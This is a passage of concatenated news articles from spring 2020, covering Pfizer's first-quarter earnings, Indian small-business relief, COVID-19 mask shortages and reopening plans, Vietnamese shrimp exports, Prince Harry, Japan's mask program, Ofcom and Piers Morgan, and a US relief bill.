$2.44 billion. Vaccine revenues rose 1% to $1.61 billion. Internal Medicine rose 10% to $2.33 billion. The Inflammation & Immunology franchise declined 4% to $978 million. The portfolio of Rare Disease rose 38% to $639 million. Hospital sub-segments sales rose 11% to $2.01 billion. The Hospital segment comprises Pfizers global portfolio of sterile injectable and anti-infective medicines. Pfizers Upjohn groups sales declined 37%, both on a reported and operational basis, to $2.02 billion mainly due to U.S. loss of exclusivity of Lyrica and lower sales of Lipitor and Norvasc in China following the implementation of the VBP program in the country in December 2019. Performance of Key Drugs Ibrance revenues rose 11% year over year to $1.25 billion on continued strong uptake in international markets and consistent CDK class market share growth in the United States. Xeljanz sales rose 8% to $451 million driven mainly by growth in international markets. Inlyta revenues were $169 million in the quarter, much higher than $73 million in the year-ago quarter, driven mainly by 255% growth in the United States. U.S. sales gained from increased uptake, resulting from recent FDA approvals for the combination of Inlyta plus Bavencio and Inlyta plus Mercks (MRK) PD-L1 inhibitor Keytruda in first-line treatment of advanced renal cell carcinoma patients Global Prevnar 13/Prevenar 13 revenues declined 1% to $1.45 billion. Prevnar 13 revenues declined 10% in the United States. Prevenar 13 revenues rose 11% in international markets. Enbrel revenues declined 21% to $347 million in key European markets due to continued biosimilar competition. Pfizer has exclusive rights to Amgens AMGN blockbuster RA drug, Enbrel, outside the United States and Canada. Eliquis alliance revenues and direct sales rose 29% to $1.3 billion. Xalkori sales rose 24% to $149 million. Xtandi recorded alliance revenues of $209 million in the quarter, up 25% year over year. Sutent sales declined 9% to $205 million. Chantix sales were flatat $270 million in the quarter. Importantly, new drug Vyndaqel/Vyndamax recorded sales of $231 million in the quarter compared with $213 million in the previous quarter. Braftovi and Mektovi, which Pfizer acquired following its acquisition of Array BioPharma in 2019, recorded sales of $37 million each in the first quarter of 2020 versus $30 in the previous quarter. Total biosimilar revenues were $288 million, up 63% year over year. In sterile injectables, global revenues increased 15% operationally to $1.41 billion and U.S. revenues increased 22% operationally as Pfizers manufacturing recovery efforts started taking shape. In the Upjohn segment, sales of key drug Lyrica declined 70% to $357 million due to multi-source generic erosion. Viagra sales declined 12% to $127 million due to generic competition. 2020 Guidance The company re-affirmed its financial guidance for 2020 for the present Pfizer as well as for the New Pfizer, after the Upjohn divestiture. The company, however, did update certain components of the guidance to reflect actual and anticipated impacts of the coronavirus pandemic. Revenues are still expected in the range of $48.5 billion to $50.5 billion. Adjusted earnings per share are expected in the range of $2.82-$2.92. Unfavorable impact of currency is expected to hurt 2020 revenues by $600 million (previously $200 million) and adjusted earnings by 4 cents per share. Research and development expense for present Pfizer was raised from a range of $8.1- $8.5 billion to $8.6 - $8.9 billion to account for the companys coronavirus-related research efforts. SI&A spending was lowered from a range of $12.0$13.0 billion to $11.5 - $12.5 billion, primarily to reflect spending reductions related to COVID-19. Adjusted tax rate is expected to be approximately 15% in 2020. The New Pfizer is expected to record revenues in the range of $40.7 billion to $42.3 billion, the midpoint of which indicates 8% volume-driven operational growth compared to 2019 Biopharma revenues. Adjusted EPS guidance for the New Pfizer is in the range of $2.25-$2.35. Pfizers Biopharma unit will become the New Pfizer following the expected separation of Upjohn. Coronavirus Related Research Efforts In March, Pfizer announced that it will co-develop Germany-based biotech BioNTechs mRNA-based vaccine candidate, BNT162 to prevent COVID-19. In April, the German regulatory authority granted approval to the companies to begin a phase I/II clinical study in Germany and the first patient has been dosed with the vaccine candidate. The companies will jointly conduct clinical studies on their COVID-19 vaccine candidate also in the United States upon getting regulatory approvals. Pfizer says it has the potential to supply millions of vaccine doses by the end of 2020 if it receives the necessary regulatory approvals. Thereafter, it can rapidly scale up capacity to produce hundreds of millions of doses in 2021. Meanwhile, Pfizer is also working to develop an investigational antiviral compound to treat SARS-CoV-2, the virus that causes COVID-19. It has identified a lead antiviral compound that showed activity against SARS-CoV-2 in preclinical screening. The company plans to start a potential clinical study of the lead molecule in the third quarter of 2020, 3-4 months earlier than expected. Our Take Pfizer beat estimates for earnings and kept its financial outlook for the year intact despite the coronavirus pandemic. As a result, Pfizers shares rose 2.3% in pre-market trading. However, this year so far, Pfizers stock has declined 2.2% against an increase of 0.1% for the industry In the quarter, Pfizer saw slower rates of new prescriptions for certain products and vaccination rates for most vaccines due to widespread restrictions on patient visits to doctor and coronavirus-related lockdown. However, it expects the impact of these factors to be more significant in the second quarter. Some of Pfizers medicines - Prevnar 13/Prevenar 13 and certain of its hospital products - saw increased demand as Pfizer believes they were prescribed to COVID-19 patients though not approved to treat the same. Meanwhile, Pfizer also saw an increase in wholesaler buying patterns for Eliquis due to COVID-19. Nonetheless, we believe the Consumer Healthcare joint venture with Glaxo, the Array acquisition (July 2019) and the pending merger of Upjohn unit with Mylan, if successful, will make Pfizer a smaller company with a diversified portfolio of innovative drugs and vaccines. The smaller Pfizer should see better revenue growth as the Lyrica LOE cliff goes away. Pfizer expects strong growth of key brands like Ibrance, Inlyta and Eliquis to drive sales in 2020. In addition, new brands such as Vyndaqel/Vyndamax, Braftovi, Mektovi and oncology biosimilars should bring in additional sales. Meanwhile, Pfizer expects improvement in coronavirus associated business disruptions in the second half of the year. Pfizer has a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Pfizer Inc. Price, Consensus and EPS Surprise Pfizer Inc. Price, Consensus and EPS Surprise Pfizer Inc. price-consensus-eps-surprise-chart | Pfizer Inc. Quote The Hottest Tech Mega-Trend of All Last year, it generated $24 billion in global revenues. By 2020, it's predicted to blast through the roof to $77.6 billion. Famed investor Mark Cuban says it will produce ""the world's first trillionaires,"" but that should still leave plenty of money for regular investors who make the right trades early. See Zacks' 3 Best Stocks to Play This Trend >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Pfizer Inc. (PFE) : Free Stock Analysis Report Mylan N.V. (MYL) : Free Stock Analysis Report GlaxoSmithKline plc (GSK) : Free Stock Analysis Report Amgen Inc. (AMGN) : Free Stock Analysis Report To read this article on Zacks.com click here. New Delhi: Micro, small and medium enterprises (MSMEs) form the backbone of Indias businesses and its famed entrepreneurial spirit. This sector employs nearly 11 crore Indians in over six crore enterprises; it accounts for a third of Indias GDP and more than a third of our exports. MSMEs have been passing through a hard time due to the Covid-19 pandemic since an extended nationwide lockdown has meant units have been shut for more than a month. This has meant severe shortage of working capital, labour and livelihoods. To make matters worse, the government and big business together owe these small firms nearly Rs six lakh crore, MSME minister Nitin Gadkari said recently. Now, as the government talks of devising a package to mitigate the troubles of the MSME sector, some entrepreneurs and owners of small businesses are already a dejected lot. They are unhappy at the quantum of relief being discussed and at the sheer number of days it is taking the government to come up with any concrete revival package. Gadkari has spoken of creating a fund with a corpus of Rs one lakh crore but this must be cleared by the Ministry of Finance. As of now, there is only talk of some help for the MSMEs, no actual succor has arrived. Congress President Sonia Gandhi has demanded a Rs two lakh crore package for the sector: a Rs one lakh crore MSME Wage Protection package plus a credit guarantee fund of another Rs one lakh crore and a 24X7 helpline for helping the sector out of this crisis. Prominent business chambers, including the Federation of Indian Chambers of Commerce and Industry (FICCI) and the Confederation of Indian Industries (CII) have also come up with suggestions on the issue. But owners of such enterprises do not seem to be nursing hopes of any meaningful package being announced anytime soon. A senior industry representative said it was premature to talk of any relief since the government seemed to be dithering over the quantum and the timing of relief measure. Raja Shanmugham, President of the Tirupur Exporters Association, said the very term MSME was archaic, with definitions of micro (up to Rs one crore turnover), small (up to Rs 5 crore) and medium (Rs 10 crore turnover) making little sense. The exporters of Tirupur want a relief package which is not confined to the MSME sector, arguing that all sections of the economy have been hit. In Ludhiana, known for its small scale knitwear industry, sales have been halted during the peak summer season due to the lockdown and no payment has been received for supplies already made, though most units in the city have retained migrant labour. Vinod Thapar, President of Knitwear and Textile Club of Ludhiana, said, We paid them (labour) wages for a month and are now paying Rs 2,500 per month for food expenses besides supporting them in other ways. Our industry has already lost Rs 1,000 crore within one month. We have asked government to lower GST rate to 4% on raw material for at least one year. We are also seeking waiver of 12% GST on manmade fibre and 5% on natural fibre. Another owner of a small scale unit pointed out that raising funds had become a huge issue. Our payments are stuck, we have not been able to buy raw material and must continue to pay salaries. The RBI has taken some steps like creating a scheme for emergency working capital requirement for banks to lend additionally but the Central bank hasnt relaxed the provisioning norms for this lending so banks continue to hesitate to lend. The Federation of Small and Medium Enterprises had earlier sought deferment of loan repayments, waiver of penalties due to delay in filing returns, measures for immediate increase in liquidity and a six month moratorium on all payments by MSMEs. The federation had also sought permission for units to pay staff through ESIC contributions, permission to lay off workers and a comprehensive financial package. Meanwhile, taking cognizance of reports that the government was mulling incentives for MSMEs amounting to nearly Rs three lakh crore, analysts at Kotak Institutional Equities said that this would be nearly 17% of the outstanding credit to the sector. Under the package, MSMEs may be able to borrow an additional 20% of their outstanding credit limit, which will be fully backed by the government. The government is also expected to set up a special fund to pay for defaults. CII and FICCI have both flagged the severe cash crunch faced by MSMEs and exhorted the government to come up with a comprehensive credit guarantee scheme. CII has sought a credit protection scheme whereby 75-80% of the loans should be guaranteed by RBI. If the borrower defaults, RBI should buy the loan and repay the bank up to 75-80% of the loan, so the risk to the lender is limited. FICCI has suggested that interest free and collateral free loans be given to MSME companies (which have a turnover of less than Rs 500 crore) for up to 12 months, depending on the sector, to enable them to cover fixed costs, salaries and other operational expenses; for non-GST paying companies, an alternate mechanism may be worked out (based on IT filing). FICCI has also sought greater regulatory forbearance, including change in NPA (bad loans) definition and loan restructuring, It has also sought a deferment of all tax payments, including GST payments, for MSMEs. While suggestions are aplenty, it remains to be seen when and how much is the government able to afford to support MSMEs. The Kotak analysts have said that at current delinquency levels, a Rs three lakh crore package will expose the government to contingent liabilities of nearly Rs 30,000 crore. At the end of September 2018, NPA level for the micro and SME segments stood at 8.5% and 11.3% respectively. Assuming an aggregate NPA level of ~10% for these two categories, Rs three lakh crore fully government backed package will expose the central government to Rs 30,000 crore in contingent liabilities. Of course, the liability of the government would rise in case delinquencies are higher, which is a distinct possibility given the systemic stress. We are already in some danger of overshooting our fiscal deficit target for the year by a wide margin and analysts have also predicted that Indias public debt will rise substantially in 2020-21. Given these harsh realities, the government may not go in for a big bang package for MSMEs or may tweak measures to lower its own liabilities. A secretive group of ultra-rich Americans has proposed a timetable to end the Covid-19 pandemic. The group, exposed in an article by The Wall Street Journal newspaper, describe themselves as a lockdown Manhattan Project distilling unorthodox ideas from around the globe in an effort to find the ultimate cure. The group, whose existence was first reported by an investigative article on 27 April in The Wall Street Journal, has acted as a go-between for pharmaceutical companies looking for a link to Trump administration decision makers, according to the New York-based newspaper. The group put together a 17-page report that proposes a series of rigorous methods to fight the coronavirus. The group was founded by 33-year-old venture capitalist and medical doctor Thomas Cahill, founder and managing partner at Newpath Partners in Boston. His connections allowed him to bring together a group of people including Nobel laureate in Physiology and Medicine Michael Roshbash, nuclear scientist Dr R. Scott Kemp, Director of the Laboratory for Nuclear Security at the Massachusetts Institute of Technology, and chemical biology pioneer Dr David Liu of Harvard. "For the 50 years I've been involved in medical research, I have never seen collaboration such as we have today," said philanthropist billionaire Michael Milken, who is connected to the group, according to The Wall Street Journal report. The group also includes an immunobiologist, a neurobiologist, a chronobiologist, an oncologist, a gastroenterologist and an epidemiologist among its members. The twelve signatories say their "only motivation is to help defeat the serious threat our nation and the world now faces. Four-phase solution The fight against the virus will involve four phases: April-May 2020: a first wave, testing of therapies using existing drugs; June-August 2020: a second wave, testing of new antibody drugs; March 2020 March 2021: a third wave of vaccines for long-term victory over the virus; May June 2020: reopening of businesses and schools to restore society and refloat the economy. The Wall Street Journal says that National Institutes of Health Director Francis Collins told people this month that he agreed with most of the recommendations in the report, after it was delivered to Vice President Mike Pence, who doubles as head of the administration's coronavirus task force. Cutting red tape In phase one, the group suggests cutting red tape slowing the use of the anti-Ebola drug remdesivir, paving the way for large scale manufacturing, adding that current doses are too low and urging that higher doses should be given as early as possible during infection. However the group may shift its focus as first trials of the drug failed, according to a WHO draft document seen by The Financial Times newspaper. In phase two, they call for regulatory flexibility to eliminate bottlenecks in developing clinical trials of antibody therapies. The long-term victory by vaccines can be achieved by increased cooperation between the multitude of labs worldwide that are now engaged in different approaches to developing the cure, including Sinovac (inactivated virus particles,) Sanofi (recombinant proteins,) live hybrid viruses (Janssen,) or RNA-based vaccines (Moderna, CureVac and others). Centralised decision making The group proposes centralised decision making to manage the different funding sources for the dozens of different research projects with an empowered council with a strong technical/scientific background that is supported by regulators, key funders and key global stakeholders. Currently the multitude of research projects worldwide is funded by the Coalition for Epidemic Preparedness, the Biomedical Advanced Research and Development Authority of the US government, the Bill & Melinda Gates Foundation, and an increasing number of governments. Barbara Connor, seated and Rebecca Schaffrick hand out KN95 masks and face shields Saturday to a nurse from BMC. The MNA set up the distribution point at the union's office on Burbank Street. Nurses Association Calls on Governor to Mandate N95 Masks The KN95 masks were approved for use by the FDA on April 3 to help ease the shortage of high-performance masks nationwide. PITTSFIELD, Mass. Nurses had already been making their way up Burbank Street from Berkshire Medical Center get protective masks and face shields when a man drove up to the curb. Could he get a mask for his wife? She works at Hillcrest Commons, he said. "I have her ID." After a quick consultation, a mask and face shield were passed over to him. Berkshire Healthcare, which operates nursing and rehabilitation facilities, was a close enough affiliate of Berkshire Health Systems, the nurses set up outside union headquarters decided. Local members of the Massachusetts Nurses Association expected to disperse more than 500 protective masks on Saturday afternoon to colleagues at Berkshire Medical Center. The MNA is calling for all nurses and health-care professionals to have access to personal protective equipment during the novel coronovirus pandemic. Saturday's distribution of KN95 masks was made possible by donations, particularly $150,000 from Skyhawk Therapeutics and Dragonfly Therapeutics, based in Waltham. The donations allowed for the purchase of FDA-approved KN95 respirator masks, along with gowns, face shields, sneakers and other items. The masks are comparable to N95 masks that filter 95 percent of airborne particles except that they are made in China. These masks were approved by the U.S. Food & Drug Administration on April 3. Barbara Connor, a registered nurse in the endoscopy unit and a MNA local leader, said high-performance protective gear is being limited within the hospital to areas where known COVID-19 patients are being treated. "Some nurses do feel that they need an N95 versus just a surgical mask because of the amount that this filters versus a surgical mask for when they're dealing with the COVID patients," she said. The nurses say new information on how people may be infected but not showing signs make it more important than ever to ensure protection for health-care workers and patients. "I think everybody feels that we want to treat every patient as if they have it, right," said Rebecca Schaffrick, a registered nurse who works in pulmonology. "You're only testing symptomatic people, and they're finding more and more that people can be carriers of it without being symptomatic. And if you're not protected, you're spreading, right?" In a statement announcing the disbursement of the masks, Alex Neary, an ICU nurse and co-chairman of the Bargaining Committee, said nurses have struggled to get the PPE they need. "Nurses have had to use the same mask several times. We should have adequate PPE protection as if all patients are positive." The shortage of protective gear has been felt across the state as Massachusetts and health-care facilities have had to fight it out on the open market often losing to the federal government to get masks, face shields and gowns. It's lead to incidents of basically smuggling PPE into the state whether by mismarked tractor trailers or the Patriots' team jet. Michael Leary, spokesman for Berkshire Health Systems, said the system was "extremely proud" of the work being done at all levels by its medical, technical and support staff. Early efforts at setting standards for infection control, managing supplies and "judicious use" of PPE exceeding state and federal standards "have kept our staff safe and limited the number of our employees who have tested positive for the COVID-19 virus to levels far lower than many of our counterparts nationally," he said, adding that the hospital has also segregated patients with symptoms of the virus to further prevent contagion. The shortages have lessened as the state began distributing PPE and local companies began gearing up to manufacture needed supplies. Still, to date, the state has distributed about 153,000 N95 and KN95 masks to all of Western Massachusetts and only about 26,000 to hospitals here. Dr. James Lederer, chief medical and quality officer, said recently that the hospital normally would go through about 80 N95 masks a month; but that would only last a matter of days with just two or three COVID-19 patients. "If we have 30 some patients, and we have multiple caregivers and you consider an ICU stay versus a general medical stay, then there's probably even more caregivers so that 80 quickly turns into the need for thousands," he said. Leary noted that the MNA had cited steps that BMC has taken beyond many other hospitals, including the mandatory use of surgical masks by all staff anywhere in the hospital and that all patient-facing staff use surgical masks, gowns, gloves and protective eyewear. "The use of N95 masks in critically short supply nationally and locally and gowns, gloves and protective eye wear for those caring for patients either with COVID-19 or with tests for the virus pending," he added. The MNA is calling on Gov. Charlie Baker to follow New York State's lead to require all direct care staff get a new N95 mask each day, rather than allow them to be reused. "Anytime anybody had something communicable or there was a question of it, you always treated them like they had it and prepared for the worst," said Connor. "But with this, we've changed how we're dealing with it. They're telling us don't mask until you know that they're positive. Well, it's kind of like closing the barn door after the horses." 13:44 Initially imposed for 21 days, the lockdown was extended to May 3 as the number of COVID-19 cases increased in the country. Suresh Sharma, a Delhi-based techie, said he spends most of his time either in front of his laptop screen or on his mobile phone, sometimes hours at a stretch. "I was initially enjoying working from home. However, with the passage of time, I realised it had taken a toll on my health. While working in my office space, I would be attending meetings and interacting with people. But, now, absolutely everything is online," he said. Sharma says back problems have cropped up and headaches have become frequent. For Geeta Malhotra, a techie based in Bengaluru, work from home has not only blurred the line separating her personal and professional life, but has also made her insomniac. "I am eating whenever I want. Sometimes two meals a day, sometimes four times a day. The little walking I used to do has also stopped. I have put on four kilos since the lockdown and I am having trouble sleeping at night so much that I have been sleeping for less than four hours," she said. Like Sharma, she too complained of suffering from headaches frequently. Several large IT companies, according to estimates, have 90 to 95 per cent of its employees working from home. Health experts have advised people to practice meditation and do physical exercises to keep the mind and body fit. People should also use this opportunity to pursue their hobbies to de-stress, they said. Clinical psychologist at the Paras Hospital in Gurgaon, Preeti Singh, said people might be experiencing these issues as they are not getting enough opportunity for physical activity. This is also sometimes due to lack of motivation or anxiety, she said. "Work load has increased along with responsibilities at home, this has left people exhausted. Insomnia might have become a problem as many are tensed over job security," Singh said. Shailaja S, who works in Bengaluru as an architect, said she has been having "anxiety attacks and nightmares". "When at work, I would see my colleagues, go on coffee or lunch breaks, but now I am sitting at home the whole day working," she said. "I am always restless, I keep checking my phone assuming there is a message from office. There is no respite even after working hours are over, as I keep getting work messages," said Shailaja. Rahul Kumar, a consultant with a Gurgaon-based multi-national company, said his body posture has worsened and he is suffering from severe back pain, restlessness and anxiety. "In the first two weeks, I was relaxed but as time passed, I have been restless and anxious. My diet and exercise routine have all been hit. Now all I do is sit in front of the computer and work in my room," Kumar said. Some health experts also said that distressing news on the novel coronavirus pandemic is also taking a toll on the mental health of people. -- PTI Insomnia, backaches, restlessness, stress and anxiety are among the side effects people are facing from prolonged work from home as the country entered the fifth week of the lockdown imposed to prevent the spread of the novel coronavirus. Many companies and firms shut office operations after the nationwide lockdown was announced on March 25. Cuomo has said that after May 15 businesses like construction and manufacturing might begin to reopen. A body wrapped in plastic that was unloaded from a refrigerated truck is handled by medical workers wearing personal protective equipment at Brooklyn Hospital Center in New York City. (AP) New York: A total of 337 people died of the coronavirus in New York on Monday, state Governor Andrew Cuomo has said, the lowest number of fatalities in almost a month in America's COVID-19 epicentre. New Jersey Governor Philip Murphy reported 106 deaths on Monday, and according to a report in The New York Times, the one-day death tolls were less than half of what the two states reported at their peaks. As the states showed progress in fighting the deadly contagion, Cuomo and Murphy have begun to offer details on reopening in the months ahead. Cuomo has said that after May 15, when his order shutting down New York is set to expire, businesses in what he called low-risk industries like construction and manufacturing might begin to reopen in parts of the state that have been less affected, the NYT reported. However, the shutdown order will be extended beyond May 15 in many parts of New York. In a radio interview, Cuomo said that he hoped to decide this week whether New York schools would reopen before the end of the school year. He said that he would coordinate with Murphy and Governor Ned Lamont of Connecticut on the decision, as well as on whether summer schools would be held in the three states. Murphy said that coordination between New York and New Jersey would probably be closest in the extended New York City metropolitan area, where the virus has hit with particular force. Elsewhere, he said, I don't think you'll see us taking in each case identical steps, but I think you'll see our steps harmonised. Murphy further said that before he would consider reopening businesses and schools, he would need to see a prolonged decline in hospitalisation and infection rates, expanded testing and contact tracing, and more places where virus patients can recover in isolation, the NYT report said. In a hopeful note, he said schools might reopen before the end of June. Fearing a slump amid the epidemic, Vietnamese farmers are hesitating to begin new shrimp hatchery crops. Meanwhile, shrimp demand is increasing rapidly in the world. Farmers have been urged to begin new hatchery crops as shrimp products now can be exported for good prices. Farming should start as soon as possible, or a serious material shortage will occur, because shrimp hatchery crops last 90-100 days. In mid-February, when Covid-19 became more complicated in Vietnam, border gates were closed temporarily and farmers lost export markets. Some days later, the farm produce rescue movement kicked off, calling on Vietnamese consumers to buy dragon fruit, water melon and shrimp to rescue farmers. At that moment, ocean lobster, blue lobster and baby lobster were bought by domestic retailers and consumers at prices 50 percent less than usual prices. Farmers have been urged to begin new hatchery crops as shrimp products now can be exported for good prices. Farming should start as soon as possible, or a serious material shortage will occur, because shrimp hatchery crops last 90-100 days. The rescue movement partially helped ease losses for farmers. However, the worry about the epidemic and markets still persists. Vietnam National Television (VTV) reported that farmers in Mekong Delta are hesitating to breed shrimp. They farm on a modest scale for fear of slow sales. Rumors have also caused shrimp farmers to shrink back. Rumours say clients have stopped buying shrimp, while banks have stopped providing loans to fund shrimp farming and it is impossible to sell shrimp. Therefore, farmers dare not breed shrimp now, said Truong Huu Thong, chair and general director of Thong Thuan Co Ltd. Farmers also have read false information on the internet which says Vietnam has stopped exporting shrimp to Europe, Japan and the US. In fact, shrimp prices are very good. The director affirmed that Vietnams shrimp exports have recovered. The country exported $617 million worth of shrimp products in Q1, a slight increase of 0.77 percent over the same period last year. Meanwhile, brackish water shrimp exports brought turnover of $383.391 million in the first two months of the year, an increase of 2.6 percent. Large markets have increased imports from Vietnam. Thong Thuan exports $8 million worth of shrimp products each month and needs 40-50 tons of materials each day. However, the material is in short supply. The director of a seafood processing company said his workshop needs 30-40 tons of materials each day. It was very easy to buy shrimp with 20-30 shrimp per kilogram, but it is scarce now, he said. According to Dang Van Hien, director of Truong Phu Seafood JSC in Bac Lieu province, the shrimp price increased by 7-10 percent within one month. Linh Ha Vietnams capital of shrimp farming The southernmost provinces of Ca Mau and Bac Lieu have recently emerged as Vietnams largest shrimp exporters, helping Vietnamese shrimp secure a foothold on the world seafood market. Long before Prince Harry, Duke of Sussex became a father, he has spent time with kids. Whether it had been paling around with his brothers kids: Prince George, Princess Charlotte, and Prince Louis, or saying hi to young well-wishers during royal engagements, Harry has always been fond of children. Ahead, check out 10 times he melted our hearts interacting with children. Hes met many kids doing work for his charity, Sentebale Harrys long had a connection to Africa. During an interview, the 35-year-old once said the continent is where he feels most like himself so its no wonder hes been there so many times. Hes made regular visits to Africa as part of his charity, Sentebale, aimed at helping vulnerable children in Lesotho. In 2015, he met with kids who were using instant cameras. Prince Harry | Chris Jackson/Getty Images for Sentebale He also laughed and smiled with young girls. Prince Harry | Chris Jackson/Getty Images He showed a group of children a photo hed taken during a 2014 visit to a school built by the charity in Lesotho. Prince Harry | Chris Jackson WPA Pool /Getty Images In 2008, two years after founding Sentebale, Harry visited children in Lesotho. Below, see him pushing a little boy on a toy tractor. Prince Harry | Michelly Rall/WireImage During the same visit to Lesotho, Harry sat with another young child and playfully stuck his tongue out. Prince Harry | Michelly Rall/WireImage On another trip to Lesotho in Dec. 2014, the Duke of Sussex held a young boy in his arms and gave him a kiss on the cheek. Prince Harry holds a child | Chris Jackson/Getty Images for Sentebale While there, Harry also took some time to play with children. Prince Harry | Chris Jackson WPA Pool /Getty Images Prince Harry greeted kids on royal tours Royal tours can be a whirlwind of events but cute unplanned moments happen too. On Oct. 17, 2018, during an official 16-day tour, Harry and his wife, Meghan, Duchess of Sussex met with children in Dubbo, Australia, when they arrived at the airport. After giving Meghan a hug, a young child in the crowd did the same for Harry, which elicited smiles all around. Meghan Markle smiles while a young boy hugs Prince Harry | Cameron Spencer/Getty Images So cute! In 2009 during an official two-day visit to New York, New York, Harry met a little girl who had been starstruck, or perhaps a little bit shy, to meet him. Shaking her hand, Harry offered the young girl a smile while she shyly looked away. Prince Harry | Samir Hussein/WireImage He shared his popcorn The 2017 Invictus Games in Toronto, Canada, were eventful for many reasons. Aside from Harry and Meghan making their first public appearance together and telling the world they were indeed dating, a little girl made headlines when she took some of Harrys popcorn. Watching the Sitting Volleyball Finals at the Invictus Games, cameras captured the adorable moment between Harry and the girl. Prince Harry | Danny Lawson/PA Images via Getty Images Watch the entire encounter below. So sweett! These days Harry and Meghan are staying inside their new home in the Los Angeles, California, area with their son, Archie Harrison Mountbatten-Windsor. The Duke and Duchess of Sussex have been seen a few times delivering food to local residents and during a video call, Harry commented that its been tough raising Archie although he is said to enjoy FaceTime playdates. As anyone who needs a haircut can tell you, its tempting to head to Georgia as the state has lifted many of its coronavirus restrictions. If you do, take extra care you dont come in contact with the virus and bring it back with you. I want to remind people that the 6 feet distance should be maintained and that respiratory hygiene, like cover the cough, washing the hands, staying at home if youre sick. If you are sick, dont go to Georgia, Alabama Department of Public Healths Dr. Karen Landers said recently. You should take extra care if youre coming into close contact with someone, such as getting a haircut. I do think it is important to consider strongly the use of cloth mask face coverings in these instances, Dr. Landers said. Georgia Gov. Brian Kemp announced last week he was allowing gyms, bowling alleys, tattoo parlors, barber and beauty shops, nail salons, spas and massage therapists to reopen, a move that apparently surprised even the White House. The businesses are required to screen workers for illness, limit the number of people in a store, practice social distancing and do regular sanitation. Theaters, social clubs and dine-in service at restaurants reopened Monday. Bars, nightclubs, theaters and amusement parks remain closed but conditions are being monitored for a reopening of those facilities. While Georgia is among the first to reopen, other states are following. Tennessee is set to reopen businesses Monday while Texas is reopening restaurants, malls and retail stores with limited occupancy on Friday. Barbershops, salons, gyms and bars are expected to re-open no later than mid-May. Not every Southeastern state is moving quickly with reopening plans. Both Louisiana and South Carolina have extended their shutdown orders through mid-May. Tokyo, April 28 : The Japanese government has been forced to halt its free mask distribution program, after the initiative received a barrage of mockery and criticism. Earlier this month, Prime Minister Shinzo Abe announced two masks would be sent to each home in the country due to its shortage amid a growing number of coronavirus cases, reports Efe news. However, the measure began to be questioned by citizens who pointed to its seemingly arbitrary and improvised character. It soon became a laughing stock on social media in the form of numerous memes and mockingly renamed "Abenomask", taking a cue from the prime minister's well-known economic "Abenomics" program. Some people questioned the idea of sending two masks per household instead of one per citizen; others doubted the quality and effectiveness of the chosen model, while many recalled that Japanese households often have masks in store. The masks are made of fabric and do not completely cover the nose or the bottom of the face, which according to experts makes them ineffective as a barrier against coronavirus, even though they are washable and can be reused. Abe himself appeared wearing the type of mask in question when presenting the initiative as well as in subsequent appearances, inspiring countless jokes and memes concerning its utility or lack of it. The use of the mask as a protective health measure has been widespread in Japan even before the coronavirus pandemic, but the most widely used models are single-use surgical ones and other reusable varieties of synthetic materials of different colors. Opposition parties and other critical voices have also underlined the high cost of the program (46.6 billion yen or $432 million), and suggested allocating these funds for medical equipment in hospitals that are under increasing pressure due to the pandemic. Moreover, after people began to receive the first batches of masks over the past week, reports emerged of dead insects, hair, mold and other residues being found inside them. In response, the government decided to block all items that were in the process of being dispatched and urged two of the three suppliers to verify the quality of their masks and replace them if necessary, according to an announcement by Chief Cabinet Secretary Yoshihide Suga at a press conference. The health ministry ordered all shipments of masks to be suspended on Thursday after more than 7,800 defective masks were detected from a batch sent to some 500,000 pregnant women, a group seen to be at a higher risk against COVID-19. So far, only 4 per cent of the 50 million households in Japan have received their masks, according to data from the national postal company Japan Post. Surveys conducted by local media outlets indicate that most people in the country do not plan to use these masks. Japan has reported 13,614 coronavirus cases, with 385 deaths. Latest updates on Coronavirus (COVID-19) Piers Morgan will not be investigated by Ofcom after the media regulator received 4,000 complaints over his interviews with Conservative politicians. The Good Morning Britain presenters two interviews with care minister Helen Whateley earlier this month led to more than 3,200 complaints, while 600 related to a segment with health secretary Matt Hancock. In one of his interviews with Whateley, Morgan repeatedly corrected her on the number of NHS staff who have died from the coronavirus, calling the figures she gave nonsense. Many complained to say the politician was treated unfairly. At the time, Whateley accused him of "shouting at me and not giving me a chance to answer your questions". Ofcom has now said "viewers would expect him to challenge senior politicians and hold them to account". The watchdog said that Morgan is "well known for his combative interviewing style and his guests were given adequate opportunity to put their points across and counter the presenter's criticisms. The statement continued: "In Ofcom's view, in line with freedom of expression, it is clearly in the public interest that broadcasters are able to hold those making political decisions to account, particularly during a major national crisis, such as the coronavirus pandemic." Trump signs $484 billion coronavirus relief bill into law Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment President Trump on Friday signed a $484 billion bill to provide additional funding to a small business lending program and to aid hospitals reeling under the impact of the COVID-19 pandemic and expansion of coronavirus testing as the death toll from the disease in the United States has crossed 50,000. The legislation sets aside $310 billion for the Paycheck Protection Program, which ensures that small businesses can continue to pay employees and cover costs during this global health crisis, and $75 billion for healthcare providers and $25 billion for coronavirus testing. I want to thank Congress for answering my call to pass this critical funding, Trump said after signing the bill in the Oval Office, according to The Hill. The funding to replenish the PPP would help keep millions of Americans on the payroll, he said. Great for small businesses, great for the workers. Out of the $310 billion provided for the PPP, $60 billion is for smaller businesses without existing banking relationships. And $25 billion for testing includes $11 billion for states. The relief package comes after nearly weeklong negotiations between Republicans and Democrats. Treasury Secretary Steven Mnuchin, backed by Senate Majority Leader Mitch McConnell and Republicans, had asked for an additional $250 billion for the PPP. Senate Minority Leader Chuck Schumer and House Speaker Nancy Pelosi wanted an expansion of funding to hospitals, nutrition programs, and state and local governments. The PPP program, launched earlier this month, reached its lending limit within two weeks after approving nearly $1.7 million loans. The new funding will now ensure that millions of Americans will stay on the payroll. Over the past five weeks, about 26 million people have filed for jobless aid, or about one in six U.S. workers, according to The Associated Press. Pelosi blamed McConnell for delaying the bill, for which Fox News anchor Bret Baier criticized her. Lets just set the record straight here. There was a clean bill that once they found out that the small business pot was going to be dry, there was a clean bill to put more money in it, Baier said, according to Daily Wire. Nancy Pelosi did not go forward with that, period, the end, stop there, Baier added. So yes, they wanted to do other things, Democrats did, the anchor continued. But to have an answer that says that it was Mitch McConnell who delayed is really political jujitsu. And you have to have somebody that pushes back and says, wait a second, in that time that there was a delay, there are X number of small businesses around the country that had to make the decision, I have not gotten the money, so I have to let these people go. Baier concluded, So when the number goes up 4.4 million on unemployment, there is a reason that it goes up that way. And that delay is part of it. On Monday, the leaders of nine evangelical and Catholic organizations signed on to a letter sent to Sen. Marco Rubio, R-Fla., chair of the Senate Committee on 